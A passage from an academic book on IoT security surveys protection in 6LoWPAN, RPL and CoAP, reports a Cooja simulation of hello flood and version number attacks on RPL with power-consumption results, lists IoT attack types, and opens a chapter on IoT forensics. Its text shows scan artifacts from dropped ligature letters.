 Te IPv6 low-power personal area network (6LoWPAN) plays a vital role in establish-
ing the connection and provides cross-layer mechanism and optimization between the 
IPv6 protocol and constrained low-energy networks. 6LoWPAN is an intermediary layer 
for supporting data fragmentation, reassembly, and header compression. T e assump-
tions and goals of the IETF 6LoWPAN working group are mentioned in RFC 4919 [17]. 
Unfortunately, no inherent security mechanisms are specifed for the 6LoWPAN protocol. 
However, as specifed in RFC 6568 [18], low-constrained devices fall prey to threats and 
attacks as the IoT devices have more physical exposures; hence, there is a need to adopt 
application-specifc security for IoT devices. Te neighbor discovery (ND) protocol plays a 
vital role in the IPv6 network; the same protocol is also adopted in the 6LoWPAN network. 
RFC 6775 [19] puts forth the optimization of the ND protocol so that it can be ef  ciently 
adopted for the 6LoWPAN network. Further, RFC 4861 [20] specifed the threat model for 
the network discovery protocol. With the increased applicability of the 6LoWPAN net-
work, threats and attacks on the system also increase; hence, it is the application’s respon-
sibility to incorporate appropriate security mechanisms to protect the 6LoWPAN network. 

5.5 RPL LAYER SECURITY MECHANISM 
 Te routing method for low-constrained devices is a tedious process. Te IETF working 
group and routing over low-power and lossy network (ROLL) proposed the routing pro-
tocol for low-power lossy network (RPL). RPL provides a promising solution for routing 
problems in the low-constrained network.

 RPL efciently creates and exchanges the network route, but it falls prey to numerous 
routing attacks. Te entire network will collapse with even a single compromised node. 
RPL mainly relies on the link layer (i.e., IEEE 802.15.4) security mechanism when oper-
ated in unsecured default mode (USM). Te other two operational modes of RPL are the 
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preinstalled security mode (PSM) and the authenticated security mode (ASM). In PSM, 
preinstalled encryption keys are used for securing RPL control messages, while in ASM, pre-
installed authentication keys need to be used by the nodes to join the network. T e opera-
tion of RPL in PSM and ASM modes imposed computational overhead on the IoT network 
as the generation and distribution of encryption and authentication keys require the addi-
tional protocols. Accordingly, implementation of the additional security mechanism on 
the device is a complex task. Tis leads RPL to be prone to many internal as well as external 
intruder attacks. 

Although RFC 6550 [21] put forth the unsecured behavior of RPL, various options 
are available for routing in low-constraint applications, like the industrial application 
RFC 5673 [22], low-power urban application RFC 5548 [23], and home automation RFC 
5867 [24]. Tese RFCs describe the routing requirements of various applications and 
also strictly emphasize the importance of securing these applications by protecting the 
routing control messages. Te inherent RPL security mechanism is not enough to pro-
tect low-constraint networks from internal as well as external attacks. T is research 
in this chapter verif ed the inbuilt security of RPL by launching prominent internal as 
well as external attacks. Tese attacks include DOS and version number attacks using 
the Contiki operating system. Contiki is the open-source operating system for IoT net-
works. Contiki provides a cooja simulator that helps in modeling the RPL for various 
applications. 

Denial of service is more threatening, as a DOS attack occurs when a system or machine 
is maliciously fooded with trafc or information from an attacker node that makes it crash 
or be otherwise inaccessible to users. Te DOS attack is the most hazardous because in no 
time it makes devices completely inoperable by sending numerous requests to the network. 
Te implementation of this attack requires the confguration of the attack node in such a 
way that it should send the DIS with very small or zero intervals so that the DIS packet will 
food the entire network. Te “hello food” attack is a type of DOS attack. Te “hello” mes-
sage in this attack is the DIS message that is carrying the solicitation request for joining 
the DODAG. However, the attacker broadcasts the numerous DIS requests to the root and 
the neighboring nodes. As per the specifcations of RPL, the nodes transmit the DIO mes-
sages and, hence, the entire network becomes f ooded with control messages. As a result, 
the sensor nodes do not attempt the sleep mode so that their RADIO is continuously ON, 
which drains battery power, increases energy consumption [25], and decreases the lifetime 
of the network. 

Further, the RPL was tested for version number attacks; the simulation shown in Figure 
5.3  demonstrates one attacker node (node 17) attacking the network. Te attacker node is 
conf gured in such a way that the node starts multicasting the incremented/updated ver-
sion number. As a result, the initiated version number attack therefore instantly triggered a 
global repair mechanism. Te global repair mechanism consumes the access power, deplet-
ing the lifetime of the network. Te attacked network was also observed for 6–7 hours, but 
the RPL failed to activate the inherent mechanism to protect the network from the attacks. 
Section 5.7 to follow demonstrates the detailed implementation of a hello food attack to 
prove that the RPL does not exhibit the inherent security mechanism. 
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FIGURE 5.3 Version number attack. 

5.6 CoAP SECURITY MECHANISM 
CoAP communicates over the unreliable UDP protocol; hence, to increase reliability, the 
CoAP incorporates the mechanism for lightweight reliability. In this mechanism, the sender 
uses the simple stop-and-wait protocol for the retransmission with exponential back-of . 
Te sender assigned the message ID to every CoAP message and marked them “conf rm-
able.” Te receiver, once it receives this message, needs to send an acknowledgment. If the 
receiver fails to send an acknowledgment, then the sender retransmits the message. If the 
message is marked as “non-confrmable,” then the CoAP sends messages without or with 
less reliability. Te application layer security of the CoAP is closely associated with the 
transport layer datagram transport layer security (DTLS) protocol [26]. Te DTLS protocol 
uses specif c confgurations to support the CoAP for constrained devices. Furthermore, 
along with the DTLS protocol, the CoAP def nes four security modes specifcally for the 
application layer, which include (i) NoSec, (ii) PreShared key, (iii) RawPublicKey, and (iv) 
certifcate. In NoSec mode, no security is provided for the application data. T e PreShared 
key mode is used by the application that wants to employ public key cryptography for 
securing the application data. Te RawPublicKey mode is the mandatory mode for applica-
tion devices; it provides authentication for the devices, but they are not able to participate 
in public key infrastructure. Te last mode, certif cate, is for devices that wish to authen-
ticate each other using a digital signature. Te devices use the x.509 digital certif cate for-
mat for binding public key and authority name. Despite provision of security measures 
by the basic version of the CoAP, there are still some faws in it [27]; hence, the CoAP 
needs advancements. Te preceding comprehensive study of the existing security aspects 
of IoT protocol stacks will raise various limitations and suggest future research areas. T e 
following sections will discuss the same. 
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5.7 EXPLORING THE INBUILT SECURITY MECHANISM OF IoT NETWORKS 
 Tis chapter analyzes the performance of IoT networks to study their inbuilt security mecha-
nism under attack conditions. Although this chapter has highlighted the security mechanism 
of IoT networks, they still fall prey to various attacks [28], like hello food, version num-
ber, rank, sinkhole, gray hole, and Sybil. To demonstrate the attacks, this chapter uses the 
Contiki-cooja simulator. Te hello food attack is analyzed with respect to a reference net-
work using the following simulation parameters given in  Table 5.1  and the topology shown in
 Figure 5.4 . Te reference network is the network with all of the genuine nodes. 

TABLE 5.1 Simulation Parameters 
  Simulation tool    Contiki 2.7 cooja simulator  
 Mote type  Tmote Sky 
Network layer protocol RPL 
PHY/MAC layer protocol 802.15.4 
Total number of malicious 1 (node ID-12) 
nodes 
Radio medium UGDM (unit disk graph medium): 

distance loss 
 Transmission range  50 m 
 Interference Range  100 m 
Mote start delay 100 ms 
 Positioning  Random 

FIGURE 5.4 Hello f ood attack. 
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FIGURE 5.5 Average radio ON for reference network. 

FIGURE 5.6 Average radio ON for attack network. 

Figures 5.5  and  5.6  depict that the hello food attack increases the trafc in the network 
and degrades the lifetime of the network, as the radio is ON for 43.98%, which is very 
high compared to reference network radio ON, that is, 9.77%. Tis result indicates that the 
sensor nodes are not attempting the sleeping mode (low-power mode); hence, battery con-
sumption increases and network performance decreases. We further analyze the results as 
the average power consumed by the reference network versus that by the attacked network, 
as shown in  Figure 5.7. Te average power consumption of the attacked network increases 
to a very large value (approx. 25 mW). Te attack values represented are within the simula-
tion time of 30 min. Furthermore, the network was maintained with the attacked node for 
5–6 hours, and it was observed that the inherent security mechanism of the IoT network 
did not work and the network continued to degrade and would certainly collapse. Hence, 
it is of the utmost importance to build a security mechanism to protect the network from 
all attacks. 
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FIGURE 5.7 Power consumption. 

5.8 OPEN RESEARCH CHALLENGES 
As discussed in earlier in Section 5.3, IEEE 802.15.4 is unable to propose the keying 
model; hence, to legitimately support the symmetric key method for end-to-end security, 
a lightweight key management approach needs to be designed that will be suitable for a 
constrained environment. RFC 6568 [18] highlights the fact that IoT devices are prone 
to various attacks and threats, and RFC 4944 [9] puts forth the importance of adapting 
security mechanisms for low-constrained devices. Security is of the utmost concern as the 
leakage of data will cause huge damage to the system [29]. At the network layer, the internet 
protocol stack uses the internet security protocol (IPSec); this is a promising protocol for 
providing authentication and encryption security. However, for securing the network layer 
of the IoT protocol stack, the design of IPSec, that is, an authentication header (AH) and 
encapsulation security payload (ESP), is a research challenge. 

 Te 6LoWPAN layer also includes various research challenges. Te 6LoWPAN adapta-
tion layer performs the vital role of fragmentation and reassembly, which will help to adopt 
the IPv6 protocol for the constrained environment. However, 6LoWPAN lags in provid-
ing authentication, and as a result, the 6LoWPAN adaptation layer falls prey to packet 
fragmentation attack. Te adversary node also agitates the fragmentation process, and the 
adaptation layer falls prey to buf er overfow attack. Hence, researchers need to implement 
a robust authentication mechanism to counter these attacks. 

RPL is the most important protocol in the IoT protocol stack (RFC 6550 puts forth the 
general goals and routing mechanism); however, the security mechanism of RPL is not 
considered. Hence, RPL falls prey to various internal as well as external attacks. T e attacks 
include DOS attack, sinkhole attack, gray hole attack, version number attack, increased 
rank attack, decreased rank attack, and so on. Moreover, every day attackers discover a 
new way of attacking. Te entire IoT-based application will collapse if attackers succeed 
in disturbing the data routing. Hence, it is of utmost importance that the RPL network 
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be protected from attacks. Implementation of the security mechanism for RPL is a very 
challenging task because of its resource-constrained nature. Te implementation of the 
lightweight robust intrusion detection system and the design of a lightweight cryptographic 
and authentication algorithm will provide a solution for the protection of the RPL network. 

5.9 CONCLUSION 
IoT achieves technological excellence; however, before applications using IoT can 
be implemented, security must be the frst concern. Te escalation of IoT benef ts the 
applications; however, the applications will certainly crash with the lack of security 
credentials. Tis chapter presented an exhaustive survey of the entire IoT protocol stack. 
Te survey presented a detailed analysis, limitations, and security concerns of each layer 
and its respective protocol. Te chapter provides diverse ways to secure the resource-
constrained network. Te open research challenges discussed in this chapter will benef t 
researchers for future work. In conclusion, this chapter provides an important contribution 
for ongoing research by describing the IoT stack in detail. Te authors of this chapter 
believe that it will help readers to discover and implement novel security solutions for 
securing IoT-based applications. 
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 6.1 INTRODUCTION  

 

 Te internet of things (IoT) has greatly improved from its advent and is continuing to do 
so at an unprecedented rate. It populates the technological landscape with convenient, 
efcient, and innovative products, designs, and systems. Te overcoming of challenges 
inherent to the domain, to the extent that the potential for negative consequences is low 
enough to be safely discounted, is a very real possibility in the near future. Machines 
that are capable of triggering an intelligent, automated response requiring minimal 
human intervention can ensure safety and quality. Albeit revolutionary, the domain 
is not without its shortcomings. With a multitude of smart interconnected devices, a 
malicious attacker can attack one vulnerable IoT sensor to penetrate an organization 
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and obtain confdential or sensitive data. Te interconnected nature of IoT nodes only 
makes matters worse, with each node relying on the others to function as intended.  
Every device, connected like an entity in a web of connections, could potentially be a 
gateway to a compromised network. Maintenance of the confdentiality and integrity of 
data while maintaining the availability of information is the fundamental challenge of 
the IoT domain. Security in IoT needs to be updated to mitigate the risks caused by the 
infux of malicious sofware and bad data, while preventing unauthorized access to data. 
With phishing attacks, malware, ransomware, and scams being commonplace today on 
sparsely connected internet architecture, one trembles to think of the consequences of 
deploying vulnerable and insecure IoT systems. Increases in the complexity of the net-
work would undoubtedly increase the chances of failure, while simultaneously increas-
ing reliance on these devices. Te academic community is constantly working toward 
improving the current architecture to make it more reliable, robust, and fault tolerant. 
Tis chapter highlights potential pitfalls and enumerates proposed solutions to ensure 
the secure deployment of IoT at scale. 

6.2 SALIENT FEATURES OF IoT 
 Te internet of things allows data to be collected and analyzed by several integrated smart 
sensors in real time. Tese data can be used in conjunction with domains like artif cial 
intelligence (AI) and big data for predictive modeling, allowing systems to make timely 
decisions on the basis of learned representations accurately and ef  ciently. Te salient fea-
tures that make IoT efcient are elaborated here. 

• Connectivity and machine to machine communication : IoT architecture allows 
multiple nodes to connect, communicate, and exchange data without human 
supervision. 

• Data collection: IoT architecture, with a variety of sensors installed, facilitates 
sensing of the system parameters and collecting the necessary information even 
while conserving energy and battery power with reducing manpower and costs. 

• Data analysis: Massive amounts of data collected need to be processed and analyzed to 
extract useful information. Te collected data, in combination with cloud computing, 
big data, AI, and machine learning, are processed and analyzed. Tis analysis helps 
in extracting knowledge and providing insights for prediction and forecasting, thus 
bringing to light the inefciencies and shortcomings of the existing systems. 

6.3 CHALLENGES IN IMPLEMENTATION 
Even though the IoT is a revolutionary innovation, its implementation involves many chal-
lenges and is susceptible to many complications as it develops. A few of the key challenges 
are as follows [1–4]. 

• Need for an IoT-based standard protocol stack: Te current internet uses the trans-
mission control protocol/internet protocol (TCP/IP) protocol suite, which will not 
sufce for the IoT sensor environment constraints. IoT nodes are usually sensors 
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with limited memory and processing capabilities [3, 4]. Protocols used in the TCP/ 
IP model, such as hypertext transfer protocol, TCP, user datagram protocol, internet 
protocol version 4, are basically designed considering high-end machines and high-
end applications, but IoT applications run on lightweight devices so a new IoT-based 
standard protocol stack is needed. 

• Diverse devices: IoT devices range from basic sensor nodes to smart appliances, such 
as smart TVs, smart refrigerators, etc. Tese devices are varied in terms of their pro-
cessing ability, storage, power requirements, etc. It is a big challenge to identify and 
control these devices over the internet [1, 2]. Again, collection and analysis of the data 
from such devices need a composite infrastructure related to the centralized cloud, 
large server farms, and big data analytics. To handle these heterogeneous devices in 
an collaborative manner is itself a big challenge. 

• Interoperability and scalability issues: Te ability of multiple devices to work in con-
junction with each other is termed “interoperability,” whereas “scalability” refers to the 
profciency to handle expanding demands of connected users, devices, and applications. 
Both are main feature requirements in IoT, in which billions of internet-enabled devices 
are involved. Due to the lack of a standard IoT protocol stack [5, 6], the current IoT setup 
lacks interoperability and scalability [1].Terefore, the design of a standard mechanism 
or protocol to take care of interoperability and scalability issues is a big challenge. 

• Security and privacy issues: Te forthcoming barriers to IoT’s adaptation are con-
cerns about security and privacy [1]. Every IoT node, over the internet, could poten-
tially act as an opening to a compromised network. Te more complex network, the 
more chances for insecure transmissions of the data. A malicious user can attack a 
single IoT sensor node or an entire business to obtain secret or inside information. 
Privacy preservation becomes of the utmost importance in the case of personal infor-
mation mistreatment, digital mischief, etc. 

In short, secure handling of the data using good cyber security algorithms is needed, but 
the current security algorithms [7] require high processing power and high memory uti-
lization to handle complex encryption, authentication, integrity, and calculations mecha-
nisms. Tese algorithms will not work in a tight, resource-constrained IoT setup [8, 9–11]. 
Terefore, the design of lightweight cyber security algorithms [12–17] that can work in the 
IoT environment is one big challenge. 

6.4 IoT APPLICATIONS 
IoT is slowly becoming prominent in our daily lives, and it has a number of applica-
tions ranging from smart homes to smart cities and from smart agriculture to smart 
manufacturing. 

• Smart homes, localities, and cities: In most homes [18], IoT-enabled devices are 
becoming popular, turning homes into smart homes and, in turn, forming smart clus-
ters and smart cities. Voice-controlled assistants like “Alexa” have become increasingly 
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popular. Such smart devices not only increase productivity but also provide user con-
venience. A few examples include smart lights, in which sensors monitor power usage 
and automatically turn of when not required, conserving energy and reducing elec-
tricity bills. Smart door lock security systems not only permit remote monitoring of 
homes or properties but also take care of emergency situations by sending alerts to law 
enforcement. Smart surveillance, smart waste management, and smart traf  c manage-
ment, in which IoT devices monitor trafc in rural and urban transportation zones, 
play an important role in smart cities. IoT-enabled devices can notify us about natural 
disasters such as earthquakes and landslides by monitoring ecological conditions. IoT 
also helps in checking air and water quality to address pollution and contamination. 

• Smart agriculture: Not only does IoT-enabled smart agriculture reduce production 
costs and manpower, but the use of various sensors helps in crop cultivation by provid-
ing smart irrigation systems, soil humidity monitoring systems, crop health monitoring 
systems, and agricultural drones. Soil quality testing for crops along with recommen-
dations can be given to farmers to maximize production. It also facilitates remote mon-
itoring of the location and health of cattle, reducing the labor expenses involved. 

• Manufacturing and logistics: In manufacturing industries, IoT systems play a very 
important role in collecting, tracking, and analyzing workfow. Remote monitoring 
helps to track the temperature of coolants, the concentration level of chemicals, and the 
lubrication between parts. IoT devices can detect dangerous radiation and pathogen and 
can activate an alarm system without human intervention, thus improving personnel 
safety. IoT-enabled inventory tracking and assets monitoring help to reduce labor force 
expenditure and decrease the scope for human error. IoT vehicles help in tracking the 
location and status of orders, simplifying the processes of warehousing and delivery. 

• Smart healthcare: IoT-enabled medical facilities greatly increase patients’ interac-
tion and involvement with medical practitioners [19], thus enabling timely medical 
help. Smart watches and wearables allow doctors to monitor patients in real time, 
which not only keep track of patients’ health but also give emergency alerts in urgent 
situations. Smart watches and wearables are also used by individuals to track their 
f tness. Tey can monitor various parameters such as blood pressure and heart rate, 
which helps to identify primary health conditions and diseases in the early stages. 
Electronic healthcare records can maintain the medical history of patients while pro-
viding doctors with easy access. Such data help researchers study more about human 
anatomy and facilitate innovation. 

• Smart grids: IoT is becoming the heart of the smart grid technology, with advanced 
metering infrastructure (AMI) facilities such as smart meters, data collector units, 
and automation systems [20]. Te automated IoT devices decrease the possibility of 
a blackout and help to provide efcient re-establishment of services. Tey can also 
identify the problem areas and isolate them. In short, smart grids not only optimize 
power consumption and enhance energy conservation but also reduce cost by pro-
moting renewable energy sources. 
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6.5 SECURITY VULNERABILITIES IN THE IoT DOMAIN 
 Te IoT network, with its sheer size of being approximately 1,000 times bigger than the 
conventional internet, has complications that are sure to make it vulnerable to dif erent 
attacks. Tese vulnerabilities can allow intruders to target and compromise the conf den-
tiality, integrity, and availability of the massive amounts of data collected and exchanged 
over the IoT network. For example, the data from smart home appliances can be used 
to deduce the time at which the home is unoccupied [21]. IoT network components are 
usually installed at isolated locations and are distantly monitored and accessed, making 
them susceptible to physical tampering [22–24]. For example, in smart grid applications, 
an intruder can tamper with smart meters and generate fake billing information. In case 
of a huge network, even a single outdated or compromised device can act as starting point 
for an attack, making it a weak security point. 

Current TCP/IP protocol standards provide cyber security approaches, but they are not 
compatible with tight, resource-constrained IoT networks [25]. A failure to handle the secu-
rity requirements stated earlier can lead to various attacks [26–30]. A few of these attacks that 
can hamper the functioning of the IoT network are explained in the following section. 

6.5.1 Security Attacks 

• Eavesdropping attack: Eavesdropping is covertly “hearing” or “snif  ng” the commu-
nication channels. In an IoT network, the smart device–generated data ref ect the user’s 
behavior and his personal information. For example, smart meter data reveal energy con-
sumption patterns and thereby leak information about the customer’s presence at home. 

• Spoofng and forged data injection attack: An intruder can spoof the identity of a genu-
ine user and connect to a smart device to generate fake data. For example in a smart grid, 
an intruder can raise or reduce a customer’s electricity bill by spoofng and forging data. 

• Remote connect/disconnect: IoT components are ofen handled remotely with pro-
visions for remote connect/disconnect services. If these services are exploited by an 
intruder, this can lead the whole network to close down, leaving many users detached 
from the IoT applications. 

• Man-in-the-middle attack: An MITM attack is one in which a third party places itself 
between two entities and accesses the information sent by one entity, modifes it, and 
sends it to the second entity. In IoT networks, when smart appliances are exchanging 
information, this point of communication can be attacked by the attacker by placing 
itself in the middle. In an MITM attack, an attacker interrupts, disconnects, or stops 
the device from functioning or alters the network trafc by injecting false traf  c. 

• Impersonation attack: In this type of attack, an intruder tries to certify the identity 
of genuine users and tries to access smart appliances remotely to spoof the data. 

• Replay attack: Previous messages of data exchanges can be repeated to impact an IoT 
network. For example, smart home appliances messages can be replayed to switch on/ 
of devices. 
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FIGURE 6.1 Possible security attacks in an IoT network. 

• Denial of service attacks (DOS): Services ofered by IoT applications can be attacked 
and denied by attackers. Two DOS attacks [22, 30–32] are explained here. 

• Flooding attack: An attacker can food the entire network by sending a large number 
of messages, in turn trying to exhaust network resources and deny consumers access 
to various IoT services. 

• Jamming attack: Te communication channel or network can be jammed, blocking 
additional communication in the IoT network. 

To conclude, from the discussion in this section, it is obvious that the current IoT net-
work sufers from various types of security attacks. Tese attacks target and manipulate 
the information being exchanged over the network, which may lead to serious threats and 
to deterioration of the functionality of the existing protocols. Prevention of these attacks 
is a big challenge in IoT networks [33], and the enforcement of strong security measures, 
such as strong confdentiality, integrity, privacy, and authenticity measures, is needed. 

6.6 EXPLORING PROPOSED SOLUTIONS IN THE REALM OF IoT SECURITY 
As discussed in the previous section, security and privacy concerns are the key elements 
needed to enforce confdentiality, integrity, and authentication measures applicable in the 
IoT scenario. Te communication involves various steps like authenticating nodes with 
proper key management, exchanging data in a confdential manner, making data available 
whenever it is needed, and maintaining integrity of the data. 

6.6.1 Node Authentication 

IoT node authentication is the frst and most essential step to in order to access the IoT 
network. Lack of an authentication measure leads to various authentication attacks 
through which an attacker can gain access to the entire IoT network and its resources and 
can cause serious problems [34]. 
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6.6.2 Key Management 

Keys are very important in terms of security as they preserve the secrecy of the data, but key 
management is a complex task as it involves key generation (e.g., private key, public key, 
session keys), key exchange, key renewal, key storage [35, 36], etc. Successful key man-
agement is challenging as well as essential, and its failure can lead to various attacks. 

6.6.3 Data Confi dentiality 

Smart devices can reveal the privacy information of the user and should be kept conf den-
tial from an unauthorized entity. Failed security mechanisms can lead to the misuse of this 
information. 

6.6.4 Data Availability 

Availability refers to timely access to every IoT component and all IoT information. IoT of ers 
various services that should always be available and easy to use. Failure of availability can cause 
serious concerns. Various availability attacks can harm the productivity of an IoT system. 

6.6.5 Data Integrity 

IoT data reports are very important as they give insight into usage statistics. Maintenance of 
the integrity of this data is of the utmost importance. Integrity attacks can happen at various 
levels. Various attacks can forge data and can compromise reading, which cause a serious 
threat to IoT operations. Terefore, care has to be taken to prevent such types of attacks. 

6.6.6 Findings 

Current mechanisms of node authentication, key management, conf dentiality, availability, 
and integrity are designed by considering high-end machines, but an IoT network is light-
weight, with devices and sensors. Terefore, security mechanisms suitable for lightweight 
and constrained IoT environments are needed. Tis gives rise to the need for a lightweight 
security protocol. Tis can be achieved by incorporating lightweight conf dentiality, light-
weight integrity, and lightweight authentication mechanisms. 

FIGURE 6.2 Secured communication steps in an IoT network. 
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6.7 EVALUATION MEASURES 
 Te proposed protocol should be evaluated on the basis of its  lightweight and secured 
nature. Te term lightweight refers to the design of innovative, embedded devices and 
sensors with the requirements of minimum memory, decreased footprint area, low power 
utilization, limited energy/battery life, and  simple computation. With such lightweight 
devices, communication is controlled with a  minimum number of bits, minimum memory, 
and minimum time . Te term “security” refers to a minimum number of encryption rounds, 
minimum key size, and  reduced computation time , with the ability to handle various secu-
rity attacks. 

6.8 CONCLUSION AND FUTURE SCOPE 
At the leading edge of innovation, IoT applications will continue to provide expediency and to 
improve competence with very limited human involvement. Tey allow devices to collect, con-
vey, and analyze data in real time and have applications in several domains, including agricul-
ture, logistics, manufacturing, and healthcare. Te impending obstacles to IoT’s adaptation 
are the rightful concerns of privacy, security, heterogeneity, interoperability, and scalabil-
ity. IoT devices are ofen resource constrained, limiting approaches of device identif cation 
and protocol design. Although IoT ofers various opportunities, one must not overlook the 
imminent threats caused by its adoption. If not addressed properly, security on the internet 
would be severely compromised. Compromised IoT infrastructure can inf ict damage to 
personal, operational, and corporate data, and it can put the security of countries at risk. IoT 
devices are ofen small and resource constrained, whereas current cyber security approaches 
are designed for high-end machines and cannot be used in the IoT environment. Secure 
provisioning of devices, secured connectivity between devices, and secure data storage are 
non-negotiable aspects of IoT deployment at scale. Terefore, there is a need for lightweight, 
secure algorithms that will ensure the security of the IoT devices and data. 

 Te future scope includes a meticulous maneuvering of security with quality of service 
(QoS) parameters. Among other things, QoS parameters can address challenges like scal-
ability, throughput, trafc management, and channel utilization. Te past decade has seen 
rapid advancements in technology, research, and methodologies to address and mitigate 
the pitfalls of the domain, and there is undoubtedly more to come. 
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7.1 INTRODUCTION 
 Te internet of things (IoT) is one of the emerging technologies that defnes an architecture 
for distinctively identifable, interconnected computing devices with various components 
for all-time connectivity and data transfer. Te technology involves machine-to-machine 
communication (M2M) and human-to-machine communication (H2M). Te IoT devices 
mostly exchange data with other devices in the implemented jurisdiction. As reported by 
Symantec in 2018, attacks on IoT devices have increased by 600% [1]. In many cases, the 
attackers target the interlinked websites instead the IoT device. 

Digital forensics [11] is a part of forensic science that implicitly covers crime-related 
activities performed using computers and other connected devices. Evidence sources dif-
fer between digital forensics and IoT forensics: mobile devices, stand-alone PCs, servers, 
and gateways are conventional sources for digital forensics, whereas home appliances, tag 
readers, sensor nodes, medical implants in humans or animals, and other IoT devices are 
sources in IoT forensics. Te process life cycle of digital forensics includes various pro-
cesses of preservation, identifcation, extraction, and documentation of computer evi-
dence, which can be produced in a court of law. 

Many IoT devices in the connected environment interact with the cloud to share their 
resources. Cloud-based connecting IoT architecture is diferent from traditional architec-
ture, in which the examiner handled the device for investigation. However, access and 
control over the data and possible evidence in the cloud are a problem because of the diver-
sifed locations of devices, which can be hard to locate. Tis leads to an extensive attack 
surface for the attackers. IoT devices with public interfaces are mostly exposed to high risk 
levels, which may introduce malware attacks into the private network. 

Digital traces stored in the connecting devices can sometimes help in the investigation 
to a large extent, such as cached images and thumbnails and fragments of the devices and 
sensory data having cached events. Te system database’s stored end-to-end event logs are 
useful. A digital forensic IoT framework will be used for investigation of digital traces. 
Tis framework can be broadly divided into the proactive process, the IoT communication 
process, and the reactive process, as shown in  Figure 7.1. 

 Te rest of this chapter is organized in the following sections: 

• Te Need for IoT Forensics 

• Issues and Challenges 

• Case Study: IoT Forensics 
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FIGURE 7.1 IoT forensics processes. 

• Frameworks for IoT Investigations 

• Comparisons of Investigations Frameworks 

• Conclusion and Further Research Direction 

7.2 THE NEED FOR IoT FORENSICS 

7.2.1 Security Constraints 

IoT forensics comprises of IoT devices, network, and cloud. Because it is heterogeneous 
and resource constrained in terms of hardware, sofware, networks, and the cloud, IoT 
systems are prevented from adopting standard security mechanisms used by traditional 
internet-connected devices. Te various constraints imposed by each of the components 
are as follows. 

7.2.1.1 Shortcomings Due to IoT Devices 
Remote IoT devices are lef unattended, which gives rise to opportunities for attackers to 
tamper with the packaging and access device data, extract encryption secrets, modify the 
programs, or use malicious nodes to replace them. To trace an attacker becomes dif  cult. 

IoT devices are battery powered with an energy-efcient mainframe, so they cannot run 
computationally heavy cryptographic algorithms. IoT devices have limited RAM and f ash 
memory and use lightweight general purpose operating systems, so that conventional secu-
rity algorithms are not memory efcient and cannot be used directly. T e diversif ed range 
of devices from high-end computers to low-end radio frequency identifcation tags makes it 
infeasible for a single security protocol to satisfy the conditions of all of the devices. 

7.2.1.2 Shortcomings Due to IoT Networking 
IoT devices are responsible for the transfer of data to the networks. Tey use non-internet 
protocol (IP) or proprietary protocols and transfer the data to an IP network. Te data might 
be transferred in a proprietary closed format or in a standard format. Te IoT ecosystem 
has multiple communication media, such as various public, private, LANs, MANs, and 
other networks, which are connected via wired and wireless media, but a comprehensive 
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security protocol covering the diverse media properties is elusive. Te current security 
model is incapable of handling dynamic network topology, that is, volatile entry and exit 
of the IoT device in the network. 

7.2.1.3 Shortcomings Due to the Cloud 
As we have seen, IoT devices have limited memory and processing power, so they rely on 
other processing media, such as the cloud. Te IoT uses cloud technology for processing 
data, which makes locating the data very arduous. Te cloud environment, being a shared 
environment, exposes the data to various threats because even encryption is not fully reli-
able. Logs and data of multiple users can be co-located and spread across the set of data 
centers and hosts, which are continually changing. 

All of the various limitations give rise to an unsafe environment, and their dif erence 
from the current digital ecosystem demands diferent investigation processes that are 
especially designed for the IoT ecosystem. 

7.2.2 IoT Security Attacks 
7.2.2.1 Spatial Distribution of the Infected Devices 
 Te IoT ecosystem is a weblike structure in which most of the things are interconnected. 
When a single IoT device is compromised, it opens the path to all of the devices con-
nected to it [2]. Te geography of infected devices according to the analysis of data harvested 
by Kaspersky Lab and published on June 19, 2017, on SecureList by Kaspersky included 
China, Russia, Iran, South Korea, the United States, India, and many more, so we can 
assume that this resulted in many compromised systems all across the world. All of the 
systems are prone to being easily accessed by an attacker, and furthermore, crimes related 
to such systems are troublesome. 

7.2.2.2 Increase in the Number of Attacks 
In 2020, SonicWall Capture Labs threat researchers analyzed the data of the company’s 
global security sensors and stated in their third-quarter threat intelligence report that the 
trends in cyber-attacks showed that ransomware had the largest global upsurge of 199.7 
million cases, followed by IoT malware with an increase of 32.4 million. 

 Te IBM X-Force Incident Response and Intelligence Services (IRIS) team discovered a 
spike among IoT devices in the frst two quarters of 2020. Mozi malware was responsible 
for nearly 90% of the observed IoT network trafc. IRIS researchers suggested that the suc-
cess of Mozi was largely due to command injection attacks, which result in misconf gured 
IoT devices. Poor confguration protocols coupled with an increase in IoT usage also con-
tribute to such a huge jump. A basic threat model is shown in Figure 7.2. 

Various IoT-based threats, security concerns, and attacks, including DOS attacks, sur-
veillance, and viruses, have already been identifed. Evidently, the efect of large-scale dis-
ruptive botnets within IoT-based networks can be seen. So, most IoT devices that were not 
designed with maintaining security as a priority are susceptible to attacks and might act as 
entry points for perpetrators. All of these intimate the need for IoT forensics [3]. 
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FIGURE 7.2 Basic threat model in IoT ecosystem. 

7.3 ISSUES AND CHALLENGES 
7.3.1 Growth in the Consumer Market and Number of IoT Devices 

According to survey results released in February 2019 on Statista IoT’s global market for 
end-user solutions is estimated to grow from around 248 billion in 2020 to around 1.6  
trillion by 2025. Out of the various uses of IoT devices in industry verticals and consumer 
markets, it was observed that, in 2020, 60% of all connected IoT devices belong to the con-
sumer segment. Te global number of IoT devices is estimated to show a 300% surge from 
8.74 billion in 2020 to more than 25.4 billion in 2030 based on survey results released in 
February 2019 on Statista, as shown in  Figures 7.3a  and  7.3b [12,13].

 Te greater the number of users, the more critical data will be exposed and, conse-
quently, the more perpetrators will try to access these data, resulting in an escalation of 
crimes in this sector. 

7.3.1.1 Sources of Evidence 
Evidence in the IoT-based crime scene is widely spread across the divergent range of IoT 
devices, from high-end computers designed with security protocols as a top priority, to 
doorbells, sensors, and smart refrigerators that were not designed with proper security mea-
sures and eternally change hosts and ports in the physically insignifcant cloud. Increased 
disparity and more possible sources would require the investigator to have knowledge of 
huge amounts of hardware and their standards. 

7.3.1.2 Quantity and Type of Data 
 Te addition of new users and devices will give rise to a data explosion, also called a “data 
deluge,” resulting in a greater amount of sensory data, private data, and other types of data. 



       

  FIGURE 7.3  (a) Forecast end-user spending on IoT solutions worldwide from 2017 to 2025; and 
(b) Number of IoT connected devices worldwide from 2019 to 2030 (in billions). 

T is data explosion will directly af ect IoT forensics and will require the investigators to  
structure and convert this data into a usable format, such that the data can be analyzed and 
correlations can be seen. It will be challenging to retrieve the data of the desired user from 
multiple user data. Data extraction may require making changes in the device, which can 
be an issue in forensics as it may be considered as tampering with evidence. 
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7.3.2 Legal Complexities 
7.3.2.1 Location of Evidence
 Te user data are stored in multiple locations, including IoT devices that are within reach 
and cloud storage in which the data are processed. Jurisdictional complexities further 
increase because of added dimensions due to the devices being on private, public, and 
